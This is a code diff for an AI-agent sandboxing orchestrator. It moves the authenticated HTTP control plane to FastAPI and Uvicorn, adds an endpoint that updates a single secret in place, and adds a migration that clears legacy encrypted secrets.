+                message = await receive()
+                if message["type"] != "http.request":
+                    break
+                body.extend(message.get("body", b""))
+                if len(body) > MAX_BODY_BYTES:
+                    raise _BodyTooLarge
+                if not message.get("more_body", False):
+                    break
+        return bytes(body)
+
+    @staticmethod
+    def _replay_body(body: bytes) -> Receive:
+        sent = False
+
+        async def replay() -> Message:
+            nonlocal sent
+            if sent:
+                return {"type": "http.disconnect"}
+            sent = True
+            return {"type": "http.request", "body": body, "more_body": False}
+
+        return replay
+
+
+class _BodyTooLarge(Exception):
+    """The streamed request exceeded the control-plane body limit."""
+
+
+def _required(value: str, name: str) -> str:
+    if not value:
+        raise HTTPException(400, f"{name} (string) is required")
+    return value
+
+
+def create_app(orch: OrchestratorCore, *, signing_key: str) -> FastAPI:
+    """Build the authenticated orchestrator ASGI application."""
+    key = signing_key.strip()
+    if not key:
+        raise ValueError(
+            "orchestrator control-plane signing key is required; "
+            "refusing to start without caller authentication"
+        )
+    app = FastAPI(
+        title="bot-bottle orchestrator",
+        docs_url=None,
+        redoc_url=None,
+        openapi_url=None,
+    )
+    app.add_middleware(ControlPlaneBoundary, signing_key=key)
+
+    @app.exception_handler(RequestValidationError)
+    async def invalid_request(
+        _request: object, exc: RequestValidationError,
+    ) -> JSONResponse:
+        errors = exc.errors()
+        location = errors[0].get("loc", ()) if errors else ()
+        field = str(location[1]) if len(location) > 1 else ""
+        suffix = f": {field}" if field else ""
+        return JSONResponse(
+            {"error": f"invalid request body{suffix}"},
+            status_code=400,
+        )
+
+    @app.get("/health")
+    def health() -> dict[str, str]:
+        return {"status": "ok"}
+
+    @app.get("/gateway")
+    def gateway() -> dict[str, object]:
+        return orch.gateway_status()
+
+    @app.get("/bottles")
+    def bottles() -> dict[str, object]:
+        return {"bottles": [record.redacted() for record in orch.registry.all()]}
+
+    @app.post("/bottles", status_code=201)
+    def launch(body: LaunchBody) -> dict[str, str]:
+        rec = orch.launch_bottle(
+            _required(body.source_ip, "source_ip"),
+            image_ref=body.image_ref,
+            metadata=body.metadata,
+            policy=body.policy,
+            tokens=dict(body.tokens),
+            env_var_secret=body.env_var_secret,
+        )
+        return {"bottle_id": rec.bottle_id, "identity_token": rec.identity_token}
+
+    @app.put("/bottles/{bottle_id}/policy")
+    def set_policy(bottle_id: str, body: PolicyBody) -> dict[str, object]:
+        if orch.set_policy(bottle_id, body.policy):
+            return {"updated": True}
+        raise HTTPException(404, "no such bottle")
+
+    @app.post("/bottles/{bottle_id}/reprovision_gateway")
+    def reprovision(bottle_id: str, body: ReprovisionBody) -> dict[str, object]:
+        secret = _required(body.env_var_secret, "env_var_secret")
+        if orch.reprovision_from_secret(bottle_id, secret):
+            return {"reprovisioned": True}
+        raise HTTPException(404, "no stored secrets for this bottle")
+
+    @app.post("/bottles/{bottle_id}/secret")
+    def update_secret(bottle_id: str, body: SecretBody) -> dict[str, object]:
+        # Update ONE egress token for a running bottle in place — the
+        # single-secret form of reprovision, for refreshing a short-lived host
+        # credential (e.g. the Codex access token) without a relaunch. cli-only
+        # (not in _GATEWAY_ROUTES): a bottle must never set its own tokens.
+        if orch.update_agent_secret(
+            bottle_id,
+            _required(body.name, "name"),
+            _required(body.value, "value"),
+            _required(body.env_var_secret, "env_var_secret"),
+        ):
+            return {"updated": True}
+        raise HTTPException(404, "no such bottle")
+
+    @app.delete("/bottles/{bottle_id}")
+    def teardown(bottle_id: str) -> dict[str, object]:
+        if orch.teardown_bottle(bottle_id):
+            return {"torn_down": True}
+        raise HTTPException(404, "no such bottle")
+
+    @app.post("/reconcile")
+    def reconcile(body: ReconcileBody) -> dict[str, object]:
+        if any(not ip for ip in body.live_source_ips):
+            raise HTTPException(400, "live_source_ips must contain non-empty strings")
+        kwargs: dict[str, float] = {}
+        if body.grace_seconds is not None:
+            if not math.isfinite(body.grace_seconds) or body.grace_seconds < 0:
+                raise HTTPException(
+                    400, "grace_seconds must be a non-negative finite number",
+                )
+            kwargs["grace_seconds"] = body.grace_seconds
+        return {"reaped": orch.reconcile(body.live_source_ips, **kwargs)}
+
+    @app.post("/attribute")
+    def attribute(body: AttributeBody) -> dict[str, str]:
+        rec = orch.attribute(body.source_ip, body.identity_token)
+        if rec is None:
+            raise HTTPException(403, "unattributed")
+        return {"bottle_id": rec.bottle_id}
+
+    @app.get("/supervise/proposals")
+    def proposals() -> dict[str, object]:
+        return {"proposals": orch.supervise_pending()}
+
+    @app.post("/supervise/respond")
+    def respond(body: RespondBody) -> dict[str, object]:
+        ok, error = orch.supervise_respond(
+            _required(body.proposal_id, "proposal_id"),
+            bottle_slug=_required(body.bottle_slug, "bottle_slug"),
+            decision=_required(body.decision, "decision"),
+            notes=body.notes,
+            final_file=body.final_file,
+        )
+        if not ok:
+            raise HTTPException(409, error)
+        return {"responded": True}
+
+    @app.post("/supervise/propose", status_code=201)
+    def propose(body: ProposeBody) -> dict[str, str]:
+        source_ip = _required(body.source_ip, "source_ip")
+        if body.tool not in TOOLS:
+            raise HTTPException(400, f"tool (string) must be one of {TOOLS}")
+        rec = orch.resolve(source_ip, body.identity_token)
+        if rec is None:
+            raise HTTPException(403, "unattributed")
+        proposal_id = orch.supervise_queue_proposal(
+            rec.bottle_id,
+            tool=body.tool,
+            proposed_file=_required(body.proposed_file, "proposed_file"),
+            justification=_required(body.justification, "justification"),
+        )
+        return {"proposal_id": proposal_id}
+
+    @app.post("/supervise/poll")
+    def poll(body: PollBody) -> dict[str, object]:
+        rec = orch.resolve(
+            _required(body.source_ip, "source_ip"), body.identity_token,
+        )
+        if rec is None:
+            raise HTTPException(403, "unattributed")
+        return orch.supervise_poll_response(
+            rec.bottle_id, _required(body.proposal_id, "proposal_id"),
+        )
+
+    @app.post("/resolve")
+    def resolve(body: IdentityBody) -> dict[str, object]:
+        rec = orch.resolve(
+            _required(body.source_ip, "source_ip"), body.identity_token,
+        )
+        if rec is None:
+            raise HTTPException(403, "unattributed")
+        return {
+            "bottle_id": rec.bottle_id,
+            "policy": rec.policy,
+            "tokens": orch.tokens_for(rec.bottle_id),
+        }
+
+    return app
+
+
+__all__ = [
+    "ControlPlaneBoundary",
+    "MAX_BODY_BYTES",
+    "ORCHESTRATOR_AUTH_HEADER",
+    "create_app",
+]
@@ -21,7 +21,7 @@ from dataclasses import dataclass
 from ..log import debug
 from ..orchestrator_auth import ROLE_CLI
 from ..trust_domain import CONTROL_PLANE
-from .server import ORCHESTRATOR_AUTH_HEADER
+from .http_contract import ORCHESTRATOR_AUTH_HEADER

 DEFAULT_TIMEOUT_SECONDS = 5.0

@@ -184,6 +184,27 @@ class OrchestratorClient:
            )
        return True

+    def update_agent_secret(
+        self, bottle_id: str, name: str, value: str, env_var_secret: str,
+    ) -> bool:
+        """Update ONE egress token for a running bottle in place
+        (`POST /bottles/<id>/secret`) — the single-secret form of
+        `reprovision_gateway`, for pushing a freshly-refreshed host credential
+        into a bottle without a relaunch. Returns True on success, False when the
+        orchestrator doesn't know the bottle (404)."""
+        status, _ = self._request(
+            "POST",
+            f"/bottles/{bottle_id}/secret",
+            {"name": name, "value": value, "env_var_secret": env_var_secret},
+        )
+        if status == 404:
+            return False
+        if not 200 <= status < 300:
+            raise OrchestratorClientError(
+                f"update_agent_secret {bottle_id}: HTTP {status}"
+            )
+        return True
+
    def teardown_bottle(self, bottle_id: str) -> bool:
        """Tear a bottle down (`DELETE /bottles/<id>`). False if the
        orchestrator didn't know it (404) — idempotent for cleanup paths."""
@@ -0,0 +1,11 @@
+"""Dependency-free constants shared by orchestrator HTTP clients and server."""
+
+ORCHESTRATOR_AUTH_HEADER = "x-bot-bottle-orchestrator-auth"
+MAX_BODY_BYTES = 1 * 1024 * 1024
+REQUEST_BODY_TIMEOUT_SECONDS = 10.0
+
+__all__ = [
+    "MAX_BODY_BYTES",
+    "ORCHESTRATOR_AUTH_HEADER",
+    "REQUEST_BODY_TIMEOUT_SECONDS",
+]
@@ -1,464 +1,80 @@
-"""Orchestrator HTTP control plane (PRD 0070).
-
-The backend-agnostic control-plane RPC (CLI / console -> orchestrator) over
-**HTTP** — the universal transport chosen in 0070 (works on every host; no
-vsock / unix-socket portability caveats):
-
-    GET    /health                    -> 200 {"status": "ok"}
-    GET    /gateway                   -> 200 {"configured", ["name","running"]}
-    GET    /bottles                   -> 200 {"bottles": [ <redacted record>, ...]}
-    POST   /bottles                   -> 201 {"bottle_id","identity_token"}  (launch)
-                                         body: {"source_ip", ["image_ref"],
-                                                ["metadata"], ["policy"],
-                                                ["tokens"], ["env_var_secret"]}
-    PUT    /bottles/<bottle_id>/policy -> 200 {"updated": true} | 404  (live reload)
-                                         body: {"policy"}
-    POST   /bottles/<bottle_id>/reprovision_gateway
-                                      -> 200 {"reprovisioned": true} | 404
-                                         body: {"env_var_secret"}
-    DELETE /bottles/<bottle_id>        -> 200 {"torn_down": true} | 404  (teardown)
-    POST   /reconcile                 -> 200 {"reaped": [bottle_id, ...]}
-                                         body: {"live_source_ips": [...],
-                                                ["grace_seconds"]}
-    POST   /attribute                 -> 200 {"bottle_id"} | 403
-    POST   /resolve                   -> 200 {"bottle_id","policy"} | 403
-                                         body: {"source_ip","identity_token"}
-    GET    /supervise/proposals       -> 200 {"proposals": [ <proposal>, ...]}
-    POST   /supervise/respond         -> 200 {"responded": true} | 409  (operator)
-                                         body: {"proposal_id","bottle_slug",
-                                                "decision", ["notes"],["final_file"]}
-    POST   /supervise/propose         -> 201 {"proposal_id"} | 403  (agent)
-                                         body: {"source_ip","identity_token",
-                                                "tool","proposed_file","justification"}
-    POST   /supervise/poll            -> 200 {"status", ["notes"],["final_file"]} | 403
-                                         body: {"source_ip","identity_token",
-                                                "proposal_id"}
-
-The `/supervise/propose` + `/supervise/poll` pair is the **agent** half of the
-supervise flow: the data plane (supervise / egress / git-gate) queues a proposal
-and polls for its response over RPC instead of opening `bot-bottle.db` directly.
-`poll` is idempotent — it never archives, so a dropped connection can't lose an
-operator decision (the row is reaped when the bottle is torn down / reconciled).
-Both attribute the caller by `(source_ip, identity_token)` exactly like
-`/resolve`, so a bottle can only ever queue or read its own proposals.
-
-`POST /bottles` / `DELETE` drive the full launch lifecycle: they mint (or
-tear down) the bottle in the registry AND broker the backend-native launch
-via the orchestrator. Register/deregister without a launch are internal to
-`OrchestratorCore`, not exposed here.
-
-Routing/handling is the pure function `dispatch()` so it is unit-testable
-without a socket; `Handler` / `OrchestratorServer` / `make_server` are a
-thin stdlib adapter around it. Listing redacts identity tokens — they are
-returned only once, to the caller that launches the bottle.
-"""
+"""Uvicorn transport for the FastAPI orchestrator control plane."""

 from __future__ import annotations

-import http.server
-import json
-import math
 import os
-import socketserver
-import sys
-import typing
-from urllib.parse import urlsplit
+import socket
+import threading
+
+import uvicorn

-from ..orchestrator_auth import ROLE_CLI, ROLES
 from ..trust_domain import CONTROL_PLANE
-from ..supervisor.types import TOOLS
+from .api import create_app
+from .http_contract import MAX_BODY_BYTES, ORCHESTRATOR_AUTH_HEADER
 from .service import OrchestratorCore

-# JSON body payload type (parsed request / rendered response).
-Json = dict[str, object]
-
-# The request header carrying the caller's role-scoped control-plane token (a
-# signed JWT naming the caller's role — see orchestrator_auth). The role gates which
-# routes the caller may reach: the data plane holds a `gateway` token good only
-# for the agent-facing lookups; the host CLI holds a `cli` token for the
-# operator/mutating routes. An agent that can merely *reach* the port holds no
-# token at all, and a compromised gateway holds only `gateway` — neither can
-# drive the operator routes (approve proposals, rewrite policy, read tokens).
-ORCHESTRATOR_AUTH_HEADER = "x-bot-bottle-orchestrator-auth"
-
-# The routes the data plane (role `gateway`) is allowed to reach — exactly the
-# per-request lookups PolicyResolver makes. Every other authenticated route is
-# operator-only. `cli` is a superset role: it may reach any route.
-_GATEWAY_ROUTES: frozenset[tuple[str, str]] = frozenset({
-    ("POST", "/resolve"),
-    ("POST", "/supervise/propose"),
-    ("POST", "/supervise/poll"),
-})
+MAX_REQUESTS = 32
+KEEP_ALIVE_TIMEOUT_SECONDS = 10


-def _allowed_roles(method: str, route: str) -> frozenset[str]:
-    """The roles permitted on `(method, route)`: `gateway` or `cli` on the
-    data-plane routes, `cli`-only everywhere else."""
-    if (method, route) in _GATEWAY_ROUTES:
-        return ROLES
-    return frozenset({ROLE_CLI})
+class OrchestratorServer:
+    """Small lifecycle wrapper around Uvicorn with an eagerly bound socket."""

+    def __init__(self, config: uvicorn.Config) -> None:
+        self._server = uvicorn.Server(config)
+        self._stopped = threading.Event()
+        self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+        self._socket.bind((config.host, config.port))
+        self._socket.listen(config.backlog)
+        self.server_address = self._socket.getsockname()

-def _parse_json_object(body: bytes) -> Json:
-    """Parse a JSON object body. Raises ValueError for non-objects / bad JSON."""
-    if not body:
-        return {}
-    obj = json.loads(body)  # raises json.JSONDecodeError (a ValueError)
-    if not isinstance(obj, dict):
-        raise ValueError("request body must be a JSON object")
-    return obj
-
-
-def dispatch(  # pylint: disable=too-many-return-statements,too-many-branches
-    orch: OrchestratorCore, method: str, path: str, body: bytes, *, role: str | None = ROLE_CLI,
-) -> tuple[int, Json]:
-    """Route one control-plane request to a (status, payload) pair. Pure —
-    no I/O beyond the orchestrator — so it is fully testable without a socket.
-
-    `role` is the caller's verified control-plane role (`gateway` or `cli`), or
-    None for an unauthenticated request; an open-mode server (no signing key
-    configured — see `OrchestratorServer`) passes `cli`. Every route except
-    `GET /health` requires a role: a missing role is 401, and a role that
-    doesn't cover the route is 403 — so a `gateway` data-plane token can reach
-    `/resolve` + `/supervise/{propose,poll}` but not the operator routes
-    (rewrite policy, read injected tokens, approve its own supervise proposals).
-    The source-IP + identity-token checks inside `/resolve` and `/attribute`
-    authenticate the *bottle* a request is about, not the *caller*, so this role
-    gate is what protects the caller-privileged routes. Defaults `cli` so unit
-    tests of the routing logic don't have to thread it through."""
-    route = urlsplit(path).path.rstrip("/") or "/"
-
-    if method == "GET" and route == "/health":
-        return 200, {"status": "ok"}
-
-    # Role gate — every route below is a trusted-caller operation. Deny before
-    # touching the registry / broker / supervise store.
-    if role is None:
-        return 401, {"error": "control-plane authentication required"}
-    if role not in _allowed_roles(method, route):
-        return 403, {"error": "insufficient role for this route"}
-
-    if method == "GET" and route == "/gateway":
-        return 200, orch.gateway_status()
-
-    if method == "GET" and route == "/bottles":
-        return 200, {"bottles": [r.redacted() for r in orch.registry.all()]}
-
-    if method == "POST" and route == "/bottles":
+    def run(self) -> None:
        try:
-            data = _parse_json_object(body)
-        except ValueError as e:
-            return 400, {"error": f"invalid JSON: {e}"}
-        source_ip = data.get("source_ip")
-        if not isinstance(source_ip, str) or not source_ip:
-            return 400, {"error": "source_ip (string) is required"}
-        image_ref = data.get("image_ref")
-        metadata = data.get("metadata")
-        policy = data.get("policy")
-        raw_tokens = data.get("tokens")
-        tokens = {
-            k: v for k, v in raw_tokens.items() if isinstance(k, str) and isinstance(v, str)
-        } if isinstance(raw_tokens, dict) else {}
-        env_var_secret = data.get("env_var_secret", "")
-        rec = orch.launch_bottle(
-            source_ip,
-            image_ref=image_ref if isinstance(image_ref, str) else "",
-            metadata=metadata if isinstance(metadata, str) else "",
-            policy=policy if isinstance(policy, str) else "",
-            tokens=tokens,
-            env_var_secret=env_var_secret if isinstance(env_var_secret, str) else "",
-        )
-        return 201, {"bottle_id": rec.bottle_id, "identity_token": rec.identity_token}
+            self._server.run(sockets=[self._socket])
+        finally:
+            self._stopped.set()

-    if method == "PUT" and route.startswith("/bottles/") and route.endswith("/policy"):
-        bottle_id = route[len("/bottles/"):-len("/policy")]
-        try:
-            data = _parse_json_object(body)
-        except ValueError as e:
-            return 400, {"error": f"invalid JSON: {e}"}
-        policy = data.get("policy")
-        if not isinstance(policy, str):
-            return 400, {"error": "policy (string) is required"}
-        if orch.set_policy(bottle_id, policy):
-            return 200, {"updated": True}
-        return 404, {"error": "no such bottle"}
+    def serve_forever(self) -> None:
+        self.run()

-    if (
-        method == "POST"
-        and route.startswith("/bottles/")
-        and route.endswith("/reprovision_gateway")
-    ):
-        bottle_id = route[len("/bottles/") : -len("/reprovision_gateway")]
-        try:
-            data = _parse_json_object(body)
-        except ValueError as e:
-            return 400, {"error": f"invalid JSON: {e}"}
-        env_var_secret = data.get("env_var_secret")
-        if not isinstance(env_var_secret, str) or not env_var_secret:
-            return 400, {"error": "env_var_secret (string) is required"}
-        if orch.reprovision_from_secret(bottle_id, env_var_secret):
-            return 200, {"reprovisioned": True}
-        return 404, {"error": "no stored secrets for this bottle"}
+    def shutdown(self) -> None:
+        self._server.should_exit = True
+        self._stopped.wait(timeout=5)

-    if method == "DELETE" and route.startswith("/bottles/"):
-        bottle_id = route[len("/bottles/"):]
-        if orch.teardown_bottle(bottle_id):
-            return 200, {"torn_down": True}
-        return 404, {"error": "no such bottle"}
-
-    if method == "POST" and route == "/reconcile":
-        # Host-driven self-heal: the caller enumerates its live bottles (only
-        # the host can see the backend) and the orchestrator drops rows for
-        # every other active bottle. Trusted-caller only — an agent that could
-        # reach this would be able to unregister its neighbours.
-        try:
-            data = _parse_json_object(body)
-        except ValueError as e:
-            return 400, {"error": f"invalid JSON: {e}"}
-        raw_ips = data.get("live_source_ips")
-        if not isinstance(raw_ips, list):
-            return 400, {"error": "live_source_ips (list of strings) is required"}
-        if any(not isinstance(ip, str) or not ip for ip in raw_ips):
-            return 400, {"error": "live_source_ips must contain non-empty strings"}
-        live = raw_ips
-        grace = data.get("grace_seconds")
-        kwargs: dict[str, float] = {}
-        if grace is not None:
-            if isinstance(grace, bool) or not isinstance(grace, (int, float)):
-                return 400, {"error": "grace_seconds must be a non-negative finite number"}
-            parsed_grace = float(grace)
-            if not math.isfinite(parsed_grace) or parsed_grace < 0:
-                return 400, {"error": "grace_seconds must be a non-negative finite number"}
-            kwargs["grace_seconds"] = parsed_grace
-        return 200, {"reaped": orch.reconcile(live, **kwargs)}
-
-    if method == "POST" and route == "/attribute":
-        try:
-            data = _parse_json_object(body)
-        except ValueError as e:
-            return 400, {"error": f"invalid JSON: {e}"}
-        source_ip = data.get("source_ip")
-        token = data.get("identity_token")
-        if not isinstance(source_ip, str) or not isinstance(token, str):
-            return 400, {"error": "source_ip and identity_token (strings) required"}
-        rec = orch.attribute(source_ip, token)
-        if rec is None:
-            return 403, {"error": "unattributed"}
-        return 200, {"bottle_id": rec.bottle_id}
-
-    if method == "GET" and route == "/supervise/proposals":
-        # Operator TUI: pending supervise proposals across all bottles.
-        return 200, {"proposals": orch.supervise_pending()}
-
-    if method == "POST" and route == "/supervise/respond":
-        # Operator decision: apply (approve/modify rewrites egress policy),
-        # write the queued response, audit — all server-side on the one DB.
-        try:
-            data = _parse_json_object(body)
-        except ValueError as e:
-            return 400, {"error": f"invalid JSON: {e}"}
-        proposal_id = data.get("proposal_id")
-        bottle_slug = data.get("bottle_slug")
-        decision = data.get("decision")
-        if not (isinstance(proposal_id, str) and proposal_id):
-            return 400, {"error": "proposal_id (string) is required"}
-        if not (isinstance(bottle_slug, str) and bottle_slug):
-            return 400, {"error": "bottle_slug (string) is required"}
-        if not (isinstance(decision, str) and decision):
-            return 400, {"error": "decision (string) is required"}
-        notes = data.get("notes")
-        final_file = data.get("final_file")
-        ok, err = orch.supervise_respond(
-            proposal_id,
-            bottle_slug=bottle_slug,
-            decision=decision,
-            notes=notes if isinstance(notes, str) else "",
-            final_file=final_file if isinstance(final_file, str) else None,
-        )
-        if ok:
-            return 200, {"responded": True}
-        return 409, {"error": err}
-
-    if method == "POST" and route == "/supervise/propose":
-        # Agent half: queue a proposal, attributed to the caller resolved from
-        # (source_ip, identity_token) — never a caller-supplied slug — so the
-        # data plane can't forge attribution. Fail-closed 403 when unattributed.
-        try:
-            data = _parse_json_object(body)
-        except ValueError as e:
-            return 400, {"error": f"invalid JSON: {e}"}
-        source_ip = data.get("source_ip")
-        token = data.get("identity_token")
-        tool = data.get("tool")
-        proposed_file = data.get("proposed_file")
-        justification = data.get("justification")
-        if not isinstance(source_ip, str) or not source_ip:
-            return 400, {"error": "source_ip (string) is required"}
-        if not isinstance(tool, str) or tool not in TOOLS:
-            return 400, {"error": f"tool (string) must be one of {TOOLS}"}
-        if not isinstance(proposed_file, str) or not proposed_file:
-            return 400, {"error": "proposed_file (string) is required"}
-        if not isinstance(justification, str) or not justification:
-            return 400, {"error": "justification (string) is required"}
-        rec = orch.resolve(source_ip, token if isinstance(token, str) else "")
-        if rec is None:
-            return 403, {"error": "unattributed"}
-        proposal_id = orch.supervise_queue_proposal(
-            rec.bottle_id, tool=tool, proposed_file=proposed_file,
-            justification=justification,
-        )
-        return 201, {"proposal_id": proposal_id}
-
-    if method == "POST" and route == "/supervise/poll":
-        # Agent half: non-blocking read of the caller's own proposal decision.
-        # Attributed like /propose, and scoped to the resolved bottle id, so a
-        # guessed proposal_id can never read another bottle's response.
-        try:
-            data = _parse_json_object(body)
-        except ValueError as e:
-            return 400, {"error": f"invalid JSON: {e}"}
-        source_ip = data.get("source_ip")
-        token = data.get("identity_token")
-        proposal_id = data.get("proposal_id")
-        if not isinstance(source_ip, str) or not source_ip:
-            return 400, {"error": "source_ip (string) is required"}
-        if not isinstance(proposal_id, str) or not proposal_id:
-            return 400, {"error": "proposal_id (string) is required"}
-        rec = orch.resolve(source_ip, token if isinstance(token, str) else "")
-        if rec is None:
-            return 403, {"error": "unattributed"}
-        return 200, orch.supervise_poll_response(rec.bottle_id, proposal_id)
-
-    if method == "POST" and route == "/resolve":
-        # The per-request lookup the multi-tenant gateway makes: returns the
-        # bottle's policy. Requires a matching (source_ip, identity_token)
-        # pair — a missing/empty/mismatched token fail-closes (403), no
-        # source-IP-only fallback.
-        try:
-            data = _parse_json_object(body)
-        except ValueError as e:
-            return 400, {"error": f"invalid JSON: {e}"}
-        source_ip = data.get("source_ip")
-        token = data.get("identity_token")
-        if not isinstance(source_ip, str) or not source_ip:
-            return 400, {"error": "source_ip (string) is required"}
-        rec = orch.resolve(source_ip, token if isinstance(token, str) else "")
-        if rec is None:
-            return 403, {"error": "unattributed"}
-        # tokens are the in-memory per-bottle egress auth values the gateway
-        # injects; served here, never persisted.
-        return 200, {
-            "bottle_id": rec.bottle_id,
-            "policy": rec.policy,
-            "tokens": orch.tokens_for(rec.bottle_id),
-        }
-
-    return 404, {"error": "not found"}
-
-
-class Handler(http.server.BaseHTTPRequestHandler):
-    """Thin stdlib adapter: read the body, call `dispatch`, write JSON."""
-
-    # Quiet by default (the orchestrator has its own logging); opt back into
-    # stdlib access logging with BOT_BOTTLE_ORCHESTRATOR_DEBUG.
-    def log_message(self, format: str, *args: typing.Any) -> None:  # noqa: A002
-        if os.environ.get("BOT_BOTTLE_ORCHESTRATOR_DEBUG"):
-            super().log_message(format, *args)
-
-    def _serve(self, method: str) -> None:
-        """Read the request body, dispatch it, and write the JSON reply. A
-        dispatch failure (e.g. a broker error) returns a 500 rather than
-        crashing the connection, so one bad request can't take the control
-        plane down for the caller."""
-        server = self.server
-        assert isinstance(server, OrchestratorServer)
-        length = int(self.headers.get("Content-Length") or 0)
-        body = self.rfile.read(length) if length > 0 else b""
-        role = server.role_for(self.headers.get(ORCHESTRATOR_AUTH_HEADER, ""))
-        try:
-            status, payload = dispatch(
-                server.orchestrator, method, self.path, body, role=role)
-        except Exception as e:  # noqa: BLE001 — the control plane must stay up
-            # Do not echo exception messages to the caller or logs: broker and
-            # persistence exceptions can contain request data. The operation,
-            # route, and exception type are enough to correlate a traceback.
-            sys.stderr.write(
-                f"orchestrator: {method} {self.path} failed "
-                f"[error_type={type(e).__name__}]\n"
-            )
-            sys.stderr.flush()
-            status, payload = 500, {"error": "internal error"}
-        data = json.dumps(payload).encode()
-        self.send_response(status)
-        self.send_header("Content-Type", "application/json")
-        self.send_header("Content-Length", str(len(data)))
-        self.end_headers()
-        self.wfile.write(data)
-
-    def do_GET(self) -> None:
-        self._serve("GET")
-
-    def do_POST(self) -> None:
-        self._serve("POST")
-
-    def do_PUT(self) -> None:
-        self._serve("PUT")
-
-    def do_DELETE(self) -> None:
-        self._serve("DELETE")
-
-
-class OrchestratorServer(socketserver.ThreadingMixIn, http.server.HTTPServer):
-    """Threading HTTP server that carries the orchestrator for its handlers.
-
-    Holds the per-host control-plane *signing key* (from
-    `$BOT_BOTTLE_ORCHESTRATOR_TOKEN`, injected by the launcher into the
-    orchestrator process only) and verifies each request's role-scoped token
-    against it. When a key is set, every route but `/health` requires a valid
-    token whose role covers the route; when it is unset the server runs **open**
-    (full `cli` access) and says so loudly at startup — a fail-visible fallback
-    for tests and any backend that hasn't wired the key yet (e.g. Firecracker,
-    whose nft boundary already blocks agents from the control-plane port)."""
-
-    daemon_threads = True
-    allow_reuse_address = True
-
-    def __init__(self, address: tuple[str, int], orchestrator: OrchestratorCore) -> None:
-        self.orchestrator = orchestrator
-        # The control-plane trust domain's signing key, as injected into THIS
-        # (the owning) process by the launcher (#476). Unset → open mode below.
-        self._signing_key = CONTROL_PLANE.key_from_env()
-        if not self._signing_key:
-            sys.stderr.write(
-                "orchestrator: WARNING — no control-plane signing key "
-                f"(${CONTROL_PLANE.key_env}); running WITHOUT caller "
-                "authentication. Any client that can reach this port can drive "
-                "it. Backends that put the control plane on an agent-reachable "
-                "network MUST set this.\n"
-            )
-            sys.stderr.flush()
-        super().__init__(address, Handler)
-
-    def role_for(self, presented: str) -> str | None:
-        """The role the request is authorized as, or None if unauthenticated.
-        Open mode (no signing key) grants full `cli` access — the fail-visible
-        fallback. Otherwise verify the presented signed token; a missing/invalid
-        token yields None (→ 401), a valid one yields its `gateway`/`cli`
-        role (→ per-route 401/403 in `dispatch`)."""
-        if not self._signing_key:
-            return ROLE_CLI
-        return CONTROL_PLANE.verify(presented, self._signing_key)
+    def server_close(self) -> None:
+        self._socket.close()


 def make_server(
-    orchestrator: OrchestratorCore, host: str = "127.0.0.1", port: int = 0
+    orchestrator: OrchestratorCore,
+    host: str = "127.0.0.1",
+    port: int = 0,
+    *,
+    signing_key: str | None = None,
 ) -> OrchestratorServer:
-    """Build (but do not start) a control-plane server. `port=0` binds an
-    ephemeral port — read `server.server_address` for the actual one."""
-    return OrchestratorServer((host, port), orchestrator)
+    """Build a bounded Uvicorn server around the orchestrator application."""
+    key = CONTROL_PLANE.key_from_env() if signing_key is None else signing_key
+    app = create_app(orchestrator, signing_key=key)
+    config = uvicorn.Config(
+        app,
+        host=host,
+        port=port,
+        access_log=bool(os.environ.get("BOT_BOTTLE_ORCHESTRATOR_DEBUG")),
+        log_level="info",
+        limit_concurrency=MAX_REQUESTS,
+        timeout_keep_alive=KEEP_ALIVE_TIMEOUT_SECONDS,
+        server_header=False,
+    )
+    return OrchestratorServer(config)


 __all__ = [
-    "dispatch", "Handler", "OrchestratorServer", "make_server", "Json",
+    "KEEP_ALIVE_TIMEOUT_SECONDS",
+    "MAX_BODY_BYTES",
+    "MAX_REQUESTS",
    "ORCHESTRATOR_AUTH_HEADER",
+    "OrchestratorServer",
+    "create_app",
+    "make_server",
 ]
@@ -371,10 +371,36 @@ class OrchestratorCore:
        if not encrypted:
            return False
        try:
-            self._tokens[bottle_id] = {k: decrypt_value(env_var_secret, v)
-                                       for k, v in encrypted.items()}
+            decrypted = {
+                k: decrypt_value(env_var_secret, v) for k, v in encrypted.items()
+            }
        except ValueError:
            return False
+        self._tokens[bottle_id] = decrypted
+        return True
+
+    def update_agent_secret(
+        self, bottle_id: str, name: str, value: str, env_var_secret: str,
+    ) -> bool:
+        """Update ONE egress token for a known bottle in place — the
+        single-secret form of ``reprovision_from_secret``.
+
+        Sets the in-memory token AND upserts the single re-encrypted row under
+        *env_var_secret* (the same key the rest of the rows are encrypted with, so
+        the whole set stays decryptable by a later ``reprovision_from_secret``),
+        leaving every other token untouched. Returns False if the bottle is
+        unknown.
+
+        Unlike ``reprovision_from_secret`` (which restores the values captured at
+        launch), this pushes a *caller-supplied* value — used to refresh a
+        short-lived host credential (e.g. the Codex access token) into a
+        still-running bottle without a relaunch."""
+        from .store.secret_store import encrypt_value
+        if self.registry.get(bottle_id) is None:
+            return False
+        self._tokens.setdefault(bottle_id, {})[name] = value
+        self.registry.store_agent_secret(
+            bottle_id, name, encrypt_value(env_var_secret, value))
        return True

    # --- consolidated gateway ----------------------------------------------
@@ -129,6 +129,10 @@ _MIGRATIONS = TableMigrations(
        # v5 — index for fast per-bottle lookups and bulk DELETE on teardown.
        "CREATE INDEX IF NOT EXISTS idx_bottled_agent_secrets_id "
        "ON bottled_agent_secrets (bottled_agent_id, type)",
+        # v6 — unauthenticated legacy ciphertext must never be selected by
+        # attacker-controlled blob contents. Existing local agents are
+        # intentionally reprovisioned instead of retaining downgrade support.
+        "DELETE FROM bottled_agent_secrets",
    ],
 )

@@ -366,6 +370,30 @@ class RegistryStore(DbStore):
            )
        self._chmod()

+    def store_agent_secret(
+        self,
+        bottle_id: str,
+        key: str,
+        encrypted_value: str,
+        secret_type: str = "injected_env_var",
+    ) -> None:
+        """Upsert ONE encrypted secret row (env-var name → ciphertext) for
+        *bottle_id*, leaving the bottle's other secrets untouched — the per-key
+        counterpart of ``store_agent_secrets``' replace-all. Delete-then-insert
+        because the table carries no unique constraint to `ON CONFLICT` against."""
+        with self._connection() as conn:
+            conn.execute(
+                "DELETE FROM bottled_agent_secrets "
+                "WHERE bottled_agent_id = ? AND key = ? AND type = ?",
+                (bottle_id, key, secret_type),
+            )
+            conn.execute(
+                "INSERT INTO bottled_agent_secrets "
+                "(bottled_agent_id, key, value, type) VALUES (?, ?, ?, ?)",
+                (bottle_id, key, encrypted_value, secret_type),
+            )
+        self._chmod()
+
    def get_agent_secrets(
        self,
        bottle_id: str,
